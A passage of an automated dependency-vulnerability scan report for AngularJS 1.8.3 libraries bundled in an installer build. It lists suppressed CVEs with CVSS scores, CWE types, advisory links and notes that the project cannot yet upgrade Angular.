- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>



- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>

- info - <https://github.com/advisories/GHSA-mqmq9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:linux:\*.\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:vsphere:\*.\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:windows:\*.\*

**CVE-2025-2336 (RETIREJS)** suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaxX/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-4690 (RETIREJS)** suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716 (RETIREJS)** suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS)** suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular-cookies.jar: angular-cookies.min.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular-cookies.jar/META-INF/resources/webjars/angular-cookies/1.8.3/angular-cookies.min.js

**MD5:** c41aff8423276d46f0d02de6dcb71524

**SHA1:** 7dc53f75d5bf7dd2c770cb50f31242c70193c086

**SHA256:** 926509b494009bea03288bba191a2b238032188e9112377e50fbfe7814c6639b

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

### Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

#### **CVE-2024-21490** suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [angular/core](https://www.npmjs.com/package/@angular/core).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

#### **CVE-2022-25869** suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*

#### **CVE-2023-26116** suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>



- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.2.21; versions up to (including) 1.8.3

**CVE-2023-26117** suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

**CVE-2023-26118** suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:



- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

#### Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*:

- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2024-8373** suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
